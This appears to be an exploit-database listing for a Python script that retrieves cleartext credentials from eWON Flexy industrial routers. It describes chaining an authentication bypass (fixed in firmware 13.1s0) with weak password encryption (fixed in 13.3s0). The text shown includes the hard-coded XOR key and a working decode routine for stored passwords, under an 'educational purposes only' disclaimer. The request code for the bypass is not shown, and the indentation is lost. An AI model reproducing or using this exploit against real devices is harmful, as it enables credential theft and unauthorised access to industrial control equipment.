Exploits / Vulnerability Discovered : 2019-09-11 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Ewon flexy authentication bypass is for educational purposes only and if it is used you will do on your own risk!
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name eWON-Flewy-Pwn.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This script will perform retrieval of clear text credentials for an eWON Flexy router
Tested on the eWON Flexy 201 with Firmware 13.0s0
Only requires a valid username (default = adm) and
this user must have the Rights 'View IO' & 'Change Configuration'
It combines two vulnerabilities: authentication bypass (fixed in 13.1s0)
and a weak password encryption, allowing cleartext password retrievel for all users (fixed in 13.3s0)
'''
username = 'adm'
import urllib2,urllib,base64,binascii,os
def decode(encpass):
xorString = "6414FE6F4C964746900208FC9B3904963A2F61"
def convertPass(password):
if (len(password)/2) > 19:
print('Error, password can not exceed 19 characters')
exit()
return hexxor(password, xorString[:len(password)])
def hexxor(a, b):
return "".join(["%x" % (int(x,16) ^ int(y,16)) for (x, y) in zip(a, b)])
if encpass.startswith('#_'):
encpass = encpass.split('_')[2]
coded = base64.b64decode(encpass)
codedhex = binascii.hexlify(coded)[:-4]
clearpass = binascii.unhexlify(convertPass(codedhex))
print('Decoded password: ' + clearpass)